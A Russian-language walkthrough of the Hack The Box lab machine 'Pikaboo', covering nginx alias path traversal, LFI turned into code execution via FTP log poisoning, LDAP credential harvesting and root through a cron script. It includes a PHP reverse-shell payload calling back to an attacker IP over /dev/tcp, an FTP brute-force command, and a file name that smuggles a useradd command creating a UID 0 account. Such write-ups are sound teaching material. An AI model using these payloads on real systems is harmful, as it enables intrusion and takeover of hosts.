В сегодняшней статье будем заниматься эксплуатацией неправильно настроенных алиасов nginx, знакомиться с методом получения RCE через локальное включение файлов, поработаем с LDAP в Linux и будем искать уязвимость в пользовательском скрипте. Все это позволяет сделать задание Pikaboo с площадки Hack The Box.
Еще по теме: Взлом веб-сервера на Windows и Apache через SSRF
Для начала добавим IP-адрес машины в /etc/hosts:
1 |
10.10.10.247 explore.htb |
Начнем со сканирования портов. Это стандартная операция при любом пентесте. Сканирование портов позволит определить, какие службы на машине принимают соединение.
Самый популярный сканер — это Nmap. Следующий скрипт улучшит результаты сканирования:
1 2 3 |
#!/bin/bash ports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//) nmap -p$ports -A $1 |
Он действует в два этапа. На первом производится обычное быстрое сканирование, на втором — более тщательное сканирование, с использованием имеющихся скриптов (опция -A).

Мы нашли три открытых порта:
- 21 (служба VSFTPD 3.0.3),
- 22 (служба SSH)
- 80 (веб‑сервер nginx 1.14.2).
На SSH без учетных данных стучаться бесполезно, но и на FTP нам делать нечего: Nmap уже проверил возможность анонимного входа и не обнаружил ее.
Брутфорс FTP
В начале попробуем перебрать популярные логины для FTP. Вы запросто найдете готовые используя поисковой запрос:
1 |
ftp default credentials github |
Для этого будем использовать hydra (не путать с Ghidra). Опцией -t установим 32 потока.
1 |
hydra -L ftp_username.txt -P ftp_password.txt -t 32 pikaboo.htb ftp |
Результата положительного это не принесло, поэтому переходим к вебу.
Сканирование веб-контента
Быстрый осмотр сайта говорит о том, что он еще в разработке, об этом говорит сообщение «PokeAPI Integration — Coming soon!».

А вот страница администратора нас встречает HTTP-аутентификацией. Отказ от проверки учетных данных, приведет к ошибке доступа.

Ошибка интересна сообщением об использовании веб‑сервера Apache на порте 81. При том, что обращение было к порту 80, на котором работает веб‑сервер nginx (по результату сканирования Nmap). Видимо, во время обращения к каталогу администратора срабатывает внутренняя переадресация между серверами.
Точка входа
Уязвимость nginx path traversal
Если столкнетесь с nginx, то первым делом надо искать уязвимость обхода путей. Уязвимость появляется при неправильной конфигурации алиасов. Nginx alias — это некий псевдоним, который может скрыть настоящее местоположение объекта. Он определяется в директиве location. На пример, данная конфигурация установит замену /img/ на /web/data/images/:
1 2 3 |
location /img/ { alias /web/data/images/; } |
Во время обращения к /img/test.png веб‑сервер вернет файл /web/data/images/test.png. Уязвимость проявляется при неправильном указании location, как в этом конфиге:
1 2 3 |
location /img { alias /web/data/images/; } |
В данном случае, если обратиться к /img../test.png, сервер вместо того, чтобы вернуть файл /web/data/images/test.png, выполнит прямую замену алиаса и попытается вернуть /web/data/test.png, тем самым обходя каталог images.
Давайте воспользуемся обходом через каталог admin и попробуем просканировать сайт. Для этого сканируем адрес /admin../. Так как при обращении к странице /admin происходит переадресация на другой сервер, мы увидим веб‑контент внутреннего сервиса на порте 81.
Справка:
Чтобы отыскать скрытое содержимое на сайте, сканируем методом перебора каталогов. Лучше всего для этого подходят инструменты типа DIRB и Dirsearch.
Мне нравится маленький и шустрый ffuf. При запуске указываем эти параметры:
- -w — словарь (отлично подойдет directory-list-2.3-medium);
- -t — количество потоков;
- -u — адрес;
- -fc — исключение из результата ответов с кодом 403.
На выходе получаем следующую команду:
1 |
ffuf -u http://pikaboo.htb/admin../FUZZ -w /home/ralf/tmp/wordlists/Content/dirs/files_interesting.txt -t 200 |
В результате находим интересные файлы. Среди них попался очень важный файл server-status, в нем отражаются все запросы к Apache. Он и раскрывает нам при обращении до сих пор незнакомые каталоги:
1 |
http://pikaboo.htb/admin../server-status |
В том числе:
1 |
http://pikaboo.htb/admin../admin_staging/ |

Мы смогли найти страницы, на которые можно перейти. Если открыть Burp History, то можно увидеть, что желаемая страница передается в качестве значения параметра page. А это нужно проверить, так как может быть вероятной уязвимостью включения файлов.

Точка опоры
Уязвимость LFI
При тесте Local File Inclusion можно просто отдать одному из сканеров директорий список с соответствующими нагрузками. Я для перебора буду использовать Burp Intruder со своими словарями (есть готовые на GitHub).
Для начала определим нагрузку, с помощью которой можно будет просмотреть доступный для всех системных юзеров файл на удаленном хосте. В результате перебора мы смогли прочитать файл /var/log/lastlog через обход директорий последовательностью ../../../../../.

На следующем этапе в найденную нагрузку надо подставить самые важные системные файлы, информация из которых сможет помочь продвинуться дальше. Список опять же можете без проблем найти.

В результате атаки мы получим всего 5 доступных для просмотра файлов. Информация из них нам не очень важна, но лог службы FTP vsftpd.log на пригодится.
От LFI к RCE
Есть несколько способов получить удаленное выполнение кода (RCE), имея LFI, и один из них я сейчас покажу. Дело в том, что мы можем заставить веб‑сервер обратиться к файлу логов службы FTP и таким образом косвенно выполнить туда запись.
Например, если мы попытаемся авторизоваться от лица пользователя test_test_test, то эта строка попадет в этот лог. Таким образом, мы можем записать в файл код на PHP и, обратившись к этому файлу через веб‑сервер, выполнить его!
Давайте авторизуемся в службе FTP, передав в качестве логина код, который даст нам реверс‑шелл:
1 |
<!--?php exec("/bin/bash -c 'bash -i > /dev/tcp/10.10.14.61/443 0>&1'"); ?--> |
Справка:
Обратный шелл — это подключение, которое активирует атакуемая машина, а мы принимаем и таким образом подключаемся к ней, чтобы выполнять команды от лица пользователя, который запустил шелл. Для приема соединения необходимо создать на локальной машине listener, то есть «слушатель».
В таких случаях пригодится rlwrap — readline-оболочка, которая в числе прочего позволяет пользоваться историей команд. Она обычно доступна в репозитории дистрибутива.
В качестве самого листенера при этом можно использовать широко известный netcat.
1 |
rlwrap nc -lvp [port] |
Осталось только обратиться к нашему файлу логов, и мы тут же получим управление над хостом.
1 |
curl 'http://pikaboo.htb/admin../admin_staging/index.php?page=../../../../..//var/log/vsftpd.log' |
Продвижение
Искать пути для дальнейшего продвижения мы будем с помощью скриптов PEASS.
Справка:
Что делать после того, как мы получили доступ в систему от имени пользователя? Вариантов дальнейшей эксплуатации и повышения привилегий может быть очень много, как в Linux, так и в Windows. Чтобы собрать информацию и наметить цели, можно использовать Privilege Escalation Awesome Scripts SUITE (PEASS) — набор скриптов, которые проверяют систему на автомате.
Чтобы воспользоваться скриптом, его нужно сначала загрузить на локальный хост.
1 |
wget https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/blob/master/linPEAS/linpeas.sh |
Теперь надо загрузить его на удаленный хост. В директории со скриптом на локальной машине запустим с помощью Python простой веб‑сервер. После выполнения этой команды веб‑сервер будет прослушивать порт 8000.
1 |
python3 -m http.server |
А теперь с помощью того же wget на целевой машине загрузим скрипт с локального хоста на удаленный. После загрузки необходимо дать файлу право на выполнение и выполнить скрипт.
1 2 3 |
wget http://[ip_локального_хоста]:8000/linpeas.sh chmod +x linpeas.sh ./linpeas.sh |
Скрипт выводит огромное количество информации, среди которой мне удалось обнаружить следующее:
- в планировщике задач cron от имени root запускается какой‑то скрипт;
- для локального хоста прослушивается порт службы LDAP — 389;
- в директории opt находим какой‑то проект, имеющий репозиторий Git;
- а также находим хеш пароля для доступа к страницам Apache.




Первым делом я решил посмотреть на задачу в сron, так как этот путь может напрямую привести к высоким привилегиям.

Этот скрипт обрабатывает файлы CSV во всех вложенных каталогах директории /srv/ftp/ с помощью приложения csvupdate. Я сразу увидел возможность манипулировать параметром, но, так как у нас пока нет возможности работать с этим каталогом, вернемся к нему позже.

Группа и владелец содержимого намекают на то, что с этим каталогом можно работать, если авторизоваться по FTP. Значит, нам нужны учетные данные пользователя.
Поиск учетных данных
Первым делом я попробовал перебрать хеш в надежде, что пароль подойдет и для пользователя. Но только хеш перебрать не удалось. Однако у нас еще остался репозиторий Git! Как известно, исходники — отличное место, чтобы выудить важные данные.
Я просто поискал все подстроки вроде passw и secret, и это дало результат.
1 |
grep -iR 'passw\|secret\|cred' /opt/pokeapi/* |
Видим много строк‑паролей в файле /opt/pokeapi/config/settings.py. Если открыть и просмотреть его, то мы найдем учетные данные для службы LDAP. А это путь для дальнейшего продвижения!

LDAP
LDAP (Lightweight Directory Access Protocol) — это протокол, который используется для хранения и получения данных из каталога с иерархической структурой. Обычно к нему прибегают для хранения информации об организации, ее активах и пользователях. LDAP — это гибкое решение, которое можно применять для представления разных сущностей и их свойств.
Подключимся и взглянем на всю информацию, которую нам вернет базовый каталог. Для подключения укажем ldapsearch следующие параметры:
- -x — использовать простую аутентификацию;
- -D — путь навигации для подключения;
- -w — пароль;
- -h — хост;
- -b — базовый путь, по которому выполняется поиск.
1 |
ldapsearch -D "cn=binduser,ou=users,dc=pikaboo,dc=htb" -w 'J~42%W?PFHl]g' -h 127.0.0.1 -x -b "dc=pikaboo,dc=htb" |
Мы получили все свойства пользователя pwnmeow, среди которых есть закодированный пароль.

Но подключиться по SSH с этим паролем не вышло. Оказывается, флаг можно было забрать сразу, так как его группа‑владелец — www-data.

Локальное повышение привилегий
Зато полученный пароль позволяет авторизоваться на FTP. Причем мы оказываемся именно в нужной директории, с правом записи.

Теперь вернемся к эксплуатации уязвимости, а именно к файлу:
1 |
/usr/loca/bin/csvupdate_cron |
В цикле вместо переменной $d будут поочередно вставляться имена каталогов из директории:
1 |
/srv/ftp/ |
Также стоит обратить внимание на функцию basename, которая вернет строку после последнего слеша, например:
1 |
basename '/asd/qwe/zxc/dsa' => 'dsa' |
Здесь интересная подстановка через символ *. Вместо него в команду будут подставляться файлы с расширением .csv. Если мы подберем такое название файла, чтобы получился конвейер команд, система просто выполнит их.
Сложность здесь в том, что нужно придумать такой способ повышения привилегий, чтобы в команде не встречались слеши. И я нашел способ — создать нового пользователя‑администратора вот такой командой:
1 |
useradd -o -u 0 -g 0 -p `openssl passwd -1 ralf8888` ralf |
Тут мы создаем пользователя с UID и GID, равными нулю (пользователь root), с паролем ralf8888 и именем ralf. Тогда имя файла должно быть таким:
1 |
"|useradd -o -u 0 -g 0 -p `openssl passwd -1 ralf8888` ralf ;.csv" |
Дождемся выполнения команды. Как только в файле /etc/passwd появится созданный пользователь, авторизуемся и забираем флаг рута.


Машина Hack The Box Pikaboo пройдена. Мы взломали nginx. Спасибо ralf!
Еще по теме: Взлом сайта на PHP с помощью уязвимости XXE